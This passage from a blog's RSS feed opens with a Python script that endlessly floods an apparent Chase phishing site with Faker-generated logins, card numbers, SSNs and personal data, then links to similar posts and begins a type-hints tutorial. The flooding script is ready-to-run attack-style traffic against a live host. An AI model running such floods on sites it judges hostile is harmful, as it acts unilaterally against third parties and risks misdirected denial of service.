</span><span class="lnt">126
</span><span class="lnt">127
</span><span class="lnt">128
</span><span class="lnt">129
</span><span class="lnt">130
</span><span class="lnt">131
</span><span class="lnt">132
</span><span class="lnt">133
</span><span class="lnt">134
</span><span class="lnt">135
</span><span class="lnt">136
</span><span class="lnt">137
</span><span class="lnt">138
</span><span class="lnt">139
</span><span class="lnt">140
</span><span class="lnt">141
</span><span class="lnt">142
</span><span class="lnt">143
</span><span class="lnt">144
</span><span class="lnt">145
</span><span class="lnt">146
</span><span class="lnt">147
</span><span class="lnt">148
</span><span class="lnt">149
</span><span class="lnt">150
</span><span class="lnt">151
</span><span class="lnt">152
</span><span class="lnt">153
</span><span class="lnt">154
</span><span class="lnt">155
</span><span class="lnt">156
</span><span class="lnt">157
</span><span class="lnt">158
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">faker</span> <span class="kn">import</span> <span class="n">Faker</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">uuid</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">random</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">string</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">fake</span> <span class="o">=</span> <span class="n">Faker</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">url</span> <span class="o">=</span> <span class="s2">&#34;https://secure005.access.chaise.com.secure-accessaccount.com/submit.php&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># headers that are consistent among every request</span>
</span></span><span class="line"><span class="cl"><span class="n">base_headers</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Host&#34;</span><span class="p">:</span> <span class="s2">&#34;secure005.access.chaise.com.secure-accessaccount.com&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;User-Agent&#34;</span><span class="p">:</span> <span class="s2">&#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Accept&#34;</span><span class="p">:</span> <span class="s2">&#34;*/*&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Accept-Language&#34;</span><span class="p">:</span> <span class="s2">&#34;en-US,en;q=0.5&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Accept-Encoding&#34;</span><span class="p">:</span> <span class="s2">&#34;gzip, deflate, br&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Content-Type&#34;</span><span class="p">:</span> <span class="s2">&#34;application/x-www-form-urlencoded&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Origin&#34;</span><span class="p">:</span> <span class="s2">&#34;https://secure005.access.chaise.com.secure-accessaccount.com&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;DNT&#34;</span><span class="p">:</span> <span class="s2">&#34;1&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Sec-GPC&#34;</span><span class="p">:</span> <span class="s2">&#34;1&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Connection&#34;</span><span class="p">:</span> <span class="s2">&#34;keep-alive&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Referer&#34;</span><span class="p">:</span> <span class="s2">&#34;https://secure005.access.chaise.com.secure-accessaccount.com/&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Sec-Fetch-Dest&#34;</span><span class="p">:</span> <span class="s2">&#34;empty&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Sec-Fetch-Mode&#34;</span><span class="p">:</span> <span class="s2">&#34;cors&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Sec-Fetch-Site&#34;</span><span class="p">:</span> <span class="s2">&#34;same-origin&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Pragma&#34;</span><span class="p">:</span> <span class="s2">&#34;no-cache&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Cache-Control&#34;</span><span class="p">:</span> <span class="s2">&#34;no-cache&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">step_0_cookie</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl"><span class="n">step_1_cookie</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl"><span class="n">step_2_cookie</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl"><span class="n">step_3_cookie</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl"><span class="n">step_4_cookie</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">step_0_payload</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl"><span class="n">step_1_payload</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl"><span class="n">step_2_payload</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl"><span class="n">step_3_payload</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl"><span class="n">step_4_payload</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">generate_headers_and_payloads</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># telling Python to modify the variables on a global scope</span>
</span></span><span class="line"><span class="cl">    <span class="k">global</span> <span class="n">step_0_cookie</span><span class="p">,</span> <span class="n">step_1_cookie</span><span class="p">,</span> <span class="n">step_2_cookie</span><span class="p">,</span> <span class="n">step_3_cookie</span><span class="p">,</span> <span class="n">step_4_cookie</span><span class="p">,</span> <span class="n">step_0_payload</span><span class="p">,</span> <span class="n">step_1_payload</span><span class="p">,</span> <span class="n">step_2_payload</span><span class="p">,</span> <span class="n">step_3_payload</span><span class="p">,</span> <span class="n">step_4_payload</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">fake_phpsessid</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">random</span><span class="o">.</span><span class="n">choices</span><span class="p">(</span><span class="n">string</span><span class="o">.</span><span class="n">ascii_letters</span> <span class="o">+</span> <span class="n">string</span><span class="o">.</span><span class="n">digits</span><span class="p">,</span> <span class="n">k</span><span class="o">=</span><span class="mi">26</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">step_0_cookie</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;Cookie&#34;</span><span class="p">:</span> <span class="sa">f</span><span class="s2">&#34;PHPSESSID=</span><span class="si">{</span><span class="n">fake_phpsessid</span><span class="si">}</span><span class="s2">; stp=0; ppath=web%2Fauth%2Fdashboard%23%2Fdashboard%2Findex%2Findex&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">step_1_cookie</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;Cookie&#34;</span><span class="p">:</span> <span class="sa">f</span><span class="s2">&#34;PHPSESSID=</span><span class="si">{</span><span class="n">fake_phpsessid</span><span class="si">}</span><span class="s2">; stp=1; ppath=oamo/identity/help/passwordhelp/&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">step_2_cookie</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;Cookie&#34;</span><span class="p">:</span> <span class="sa">f</span><span class="s2">&#34;PHPSESSID=</span><span class="si">{</span><span class="n">fake_phpsessid</span><span class="si">}</span><span class="s2">; stp=2; ppath=oamo/identity/help/passwordhelp/&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">step_3_cookie</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;Cookie&#34;</span><span class="p">:</span> <span class="sa">f</span><span class="s2">&#34;PHPSESSID=</span><span class="si">{</span><span class="n">fake_phpsessid</span><span class="si">}</span><span class="s2">; stp=3; ppath=oamo/identity/help/passwordhelp/&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">step_4_cookie</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;Cookie&#34;</span><span class="p">:</span> <span class="sa">f</span><span class="s2">&#34;PHPSESSID=</span><span class="si">{</span><span class="n">fake_phpsessid</span><span class="si">}</span><span class="s2">; stp=4; ppath=oamo/identity/help/passwordhelp/&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">uid</span> <span class="o">=</span> <span class="n">uuid</span><span class="o">.</span><span class="n">uuid4</span><span class="p">()</span><span class="o">.</span><span class="n">hex</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">step_0_payload</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;uid&#34;</span><span class="p">:</span> <span class="n">uid</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;ip&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">ipv4</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;uagent&#34;</span><span class="p">:</span> <span class="s2">&#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;stp&#34;</span><span class="p">:</span> <span class="s2">&#34;0&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;j_username&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">simple_profile</span><span class="p">()[</span><span class="s2">&#34;username&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;j_password&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">password</span><span class="p">(</span><span class="n">length</span><span class="o">=</span><span class="mi">12</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;securityToken&#34;</span><span class="p">:</span> <span class="s2">&#34;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">step_1_payload</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;uid&#34;</span><span class="p">:</span> <span class="n">uid</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;stp&#34;</span><span class="p">:</span> <span class="s2">&#34;1&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;otp&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">random_int</span><span class="p">(</span><span class="nb">min</span><span class="o">=</span><span class="mi">100000</span><span class="p">,</span> <span class="nb">max</span><span class="o">=</span><span class="mi">999999</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># the credit card in the payload has spaces in between every 4 digits, so I am replicating this</span>
</span></span><span class="line"><span class="cl">    <span class="n">credit_card_number</span> <span class="o">=</span> <span class="n">fake</span><span class="o">.</span><span class="n">credit_card_number</span><span class="p">(</span><span class="s2">&#34;mastercard&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># adding spaces in between every 4 digits</span>
</span></span><span class="line"><span class="cl">    <span class="n">credit_card_number</span> <span class="o">=</span> <span class="s2">&#34; &#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="p">[</span><span class="n">credit_card_number</span><span class="p">[</span><span class="n">i</span> <span class="p">:</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">4</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">credit_card_number</span><span class="p">),</span> <span class="mi">4</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">step_2_payload</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;uid&#34;</span><span class="p">:</span> <span class="n">uid</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;stp&#34;</span><span class="p">:</span> <span class="s2">&#34;2&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;cnum&#34;</span><span class="p">:</span> <span class="n">credit_card_number</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;expd&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">credit_card_expire</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;cvv&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">credit_card_security_code</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">step_3_payload</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;uid&#34;</span><span class="p">:</span> <span class="n">uid</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;stp&#34;</span><span class="p">:</span> <span class="s2">&#34;3&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;fullname&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">name</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;bdate&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">date_of_birth</span><span class="p">(</span><span class="n">minimum_age</span><span class="o">=</span><span class="mi">18</span><span class="p">)</span><span class="o">.</span><span class="n">strftime</span><span class="p">(</span><span class="s2">&#34;%m/</span><span class="si">%d</span><span class="s2">/%Y&#34;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;ssn&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">ssn</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;phone&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">phone_number</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;address&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">street_address</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;city&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">city</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;state&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">state_abbr</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;zip&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">postcode</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;email&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">simple_profile</span><span class="p">()[</span><span class="s2">&#34;mail&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">step_4_payload</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;uid&#34;</span><span class="p">:</span> <span class="n">uid</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;stp&#34;</span><span class="p">:</span> <span class="s2">&#34;4&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;cemail&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">simple_profile</span><span class="p">()[</span><span class="s2">&#34;mail&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;bdate&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">password</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">            <span class="n">length</span><span class="o">=</span><span class="mi">12</span>
</span></span><span class="line"><span class="cl">        <span class="p">),</span>  <span class="c1"># the parameter is bdate but in the frontend it asked for password</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">requests_sent</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># dynamically generate fake headers and JSON payloads</span>
</span></span><span class="line"><span class="cl">    <span class="n">generate_headers_and_payloads</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># handle exceptions so that the script continues even if there are connection issues</span>
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># for each step, add in corresponding cookie and random content-length to headers</span>
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">step_0_cookie</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">({</span><span class="s2">&#34;Content-Length&#34;</span><span class="p">:</span> <span class="nb">str</span><span class="p">(</span><span class="n">fake</span><span class="o">.</span><span class="n">random_int</span><span class="p">(</span><span class="nb">min</span><span class="o">=</span><span class="mi">80</span><span class="p">,</span> <span class="nb">max</span><span class="o">=</span><span class="mi">215</span><span class="p">))})</span>
</span></span><span class="line"><span class="cl">        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">base_headers</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">step_0_payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Step 0 status code: </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">step_1_cookie</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">({</span><span class="s2">&#34;Content-Length&#34;</span><span class="p">:</span> <span class="nb">str</span><span class="p">(</span><span class="n">fake</span><span class="o">.</span><span class="n">random_int</span><span class="p">(</span><span class="nb">min</span><span class="o">=</span><span class="mi">80</span><span class="p">,</span> <span class="nb">max</span><span class="o">=</span><span class="mi">215</span><span class="p">))})</span>
</span></span><span class="line"><span class="cl">        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">base_headers</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">step_1_payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Step 1 status code: </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">step_2_cookie</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">({</span><span class="s2">&#34;Content-Length&#34;</span><span class="p">:</span> <span class="nb">str</span><span class="p">(</span><span class="n">fake</span><span class="o">.</span><span class="n">random_int</span><span class="p">(</span><span class="nb">min</span><span class="o">=</span><span class="mi">80</span><span class="p">,</span> <span class="nb">max</span><span class="o">=</span><span class="mi">215</span><span class="p">))})</span>
</span></span><span class="line"><span class="cl">        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">base_headers</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">step_2_payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Step 2 status code: </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">step_3_cookie</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">({</span><span class="s2">&#34;Content-Length&#34;</span><span class="p">:</span> <span class="nb">str</span><span class="p">(</span><span class="n">fake</span><span class="o">.</span><span class="n">random_int</span><span class="p">(</span><span class="nb">min</span><span class="o">=</span><span class="mi">80</span><span class="p">,</span> <span class="nb">max</span><span class="o">=</span><span class="mi">215</span><span class="p">))})</span>
</span></span><span class="line"><span class="cl">        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">base_headers</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">step_3_payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Step 3 status code: </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">step_4_cookie</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">({</span><span class="s2">&#34;Content-Length&#34;</span><span class="p">:</span> <span class="nb">str</span><span class="p">(</span><span class="n">fake</span><span class="o">.</span><span class="n">random_int</span><span class="p">(</span><span class="nb">min</span><span class="o">=</span><span class="mi">80</span><span class="p">,</span> <span class="nb">max</span><span class="o">=</span><span class="mi">215</span><span class="p">))})</span>
</span></span><span class="line"><span class="cl">        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">base_headers</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">step_4_payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Step 4 status code: </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">requests_sent</span> <span class="o">=</span> <span class="n">requests_sent</span> <span class="o">+</span> <span class="mi">5</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Requests sent: </span><span class="si">{</span><span class="n">requests_sent</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="n">requests</span><span class="o">.</span><span class="n">exceptions</span><span class="o">.</span><span class="n">RequestException</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">({</span><span class="n">e</span><span class="p">})</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>It&rsquo;s quite lengthy but it works. I ran the script in the background and went about my day.</p>
<img src="/chase-scam/terminal.webp" alt="Terminal output after running the Python script" width="720" height="438" style="max-width: 100%; height: auto; aspect-ratio: 1780 / 1084;" loading="lazy" decoding="async">
<h2 id="more-retaliation-against-scammers">More Retaliation Against Scammers</h2>
<p>If you enjoyed this, I&rsquo;ve done a few other posts similar to this one:</p>
<ul>
<li>

<a href="/hitting-back-at-ledger-scammers-with-python/">Hitting Back at Ledger Scammers With Python</a></li>
<li>

<a href="/using-python-to-flood-scammers-with-fake-passwords/">Using Python to Flood Scammers with Fake Passwords</a></li>
<li>

<a href="/retaliating-against-metamask-scammers-with-python/">Retaliating Against MetaMask Scammers With Python</a></li>
</ul>
<h2 id="elsewhere">Elsewhere</h2>
<p>Also posted on: <a class="u-syndication" href="https://dev.to/nelsonfigueroa/making-life-more-difficult-for-bank-scammers-58ia?ref=nelson.cloud" rel="syndication">dev.to</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Optional Type Hints in Python</title>
      <link>https://nelson.cloud/optional-type-hints-in-python/?ref=rss</link>
      <pubDate>Tue, 16 Jan 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/optional-type-hints-in-python/?ref=rss</guid>
      <description>Comparing Optional[str] vs str | None syntax in Python v3.10+ with practical examples.</description><content:encoded><![CDATA[<p>Python lets you write optional type hints where you can return either a specified type or <code>None</code>. This is a guide with some examples demonstrating different use cases.</p>
<blockquote><p><strong>Note:</strong></p><p>Despite type hints, a function will still let you return whatever type you want. Type hints are more useful when using linting tools or an IDE to ensure that functions return the correct value(s).</p>
<p>All examples on this post have been tested with Python 3.12.1</p>
</blockquote>

<p>For reference, here is what it looks like when a <em>non-optional</em> type hint for a string is specified in a Python function&rsquo;s argument and return value:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">example</span><span class="p">(</span><span class="n">string</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="s2">&#34;Hello!&#34;</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="two-ways-of-specifying-optional-type-hints">Two Ways of Specifying Optional Type Hints</h2>
<p>There are two ways to specify optional type hints.</p>
<p>You can import <code>Optional</code> from the <code>typing</code> module and then specify type hints as follows:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">typing</span> <span class="kn">import</span> <span class="n">Optional</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">example</span><span class="p">(</span><span class="n">value</span><span class="p">:</span> <span class="n">Optional</span><span class="p">[</span><span class="nb">str</span><span class="p">])</span> <span class="o">-&gt;</span> <span class="n">Optional</span><span class="p">[</span><span class="nb">str</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">value</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>As of Python 3.10, you can also use a shorthand notation, replacing <code>Optional[str]</code> with <code>str | None</code>. There is no import required:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
